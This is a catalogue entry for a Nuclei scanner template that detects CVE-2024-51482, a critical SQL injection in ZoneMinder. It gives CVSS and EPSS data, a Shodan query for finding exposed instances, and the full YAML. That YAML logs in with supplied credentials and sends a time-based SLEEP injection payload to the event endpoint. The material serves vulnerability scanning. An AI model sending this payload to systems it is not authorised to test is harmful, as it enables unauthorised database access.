CVE-2024-51482: ZoneMinder v1.37.* <= 1.37.64 - SQL Injection
- Template: CVE-2024-51482
- Name: ZoneMinder v1.37.* <= 1.37.64 - SQL Injection
- Description: ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65.
- Impact: Attackers can exploit this vulnerability to compromise system security and integrity.
- Remediation: Apply the latest security patches and updates to address this vulnerability.
- Severity: critical
- Authors: ritikchaddha
- Tags: cve, cve2024, zoneminder, sqli, authenticated, vuln
- References: https://securityonline.info/zoneminders-cve-2024-51482-a-10-10-severity-vulnerability-exposes-sql-databases/, https://nvd.nist.gov/vuln/detail/CVE-2024-51482
- Cves: CVE-2024-51482
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-51482.yaml
- Digest: 4a0a0047304502205e9e6f0ee598391cf080fb54094b245d3526a6017d4df47ce5f048fb84c93b0d022100ccd6760c7389a4c03e95eb9a110a02f687dea4bee262216b0e35364d931756cd
- Created at: 2024-11-29T15:54:38Z
- Updated at: 2026-11-22T02:03:55Z
- Age in days: 725
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-51482.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-89
- Cvss score: 9.9
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.35449
- Epss percentile: 0.98489
- Cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
Metadata
- Max-request: 4
- Product: zoneminder
- Shodan-query: title:"ZoneMinder"
- Vendor: zoneminder
Products
| Product | Indexed | Url |
|---|---|---|
| zoneminder:zoneminder | yes | /v1/products/zoneminder/zoneminder |
Labels
- Name: ZoneMinder - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
- Remediation: Update to version 1.37.65 or later.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-51482
- Not known: requirements
```yaml
id: CVE-2024-51482
info:
name: ZoneMinder v1.37.* <= 1.37.64 - SQL Injection
author: ritikchaddha
severity: critical
description: |
ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65.
impact: |
Attackers can exploit this vulnerability to compromise system security and integrity.
remediation: |
Apply the latest security patches and updates to address this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-51482
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2024-51482
cwe-id: CWE-89
epss-score: 0.35449
epss-percentile: 0.98489
cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: zoneminder
product: zoneminder
shodan-query: title:"ZoneMinder"
tags: cve,cve2024,zoneminder,sqli,authenticated,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: word
part: body
words:
- "ZoneMinder</a>"
- "ZoneMinder Login</h1>"
- "<title>ZoneMinder"
condition: or
internal: true
- raw:
- |
POST /zm?view=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=login&postLoginQuery=&username={{username}}&password={{password}}
- |
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{\"result\":\"OK")'
internal: true
- raw:
- |
@timeout: 30s
GET /zm/index.php?view=request&request=event&action=removetag&tid=1+AND+(SELECT+6435+FROM+(SELECT(SLEEP(7)))AbUy) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
condition: and
digest: 4a0a0047304502205e9e6f0ee598391cf080fb54094b245d3526a6017d4df47ce5f048fb84c93b0d022100ccd6760c7389a4c03e95eb9a110a02f687dea4bee262216b0e35364d931756cd:922c64590222798bb761d5b6d8e72950
```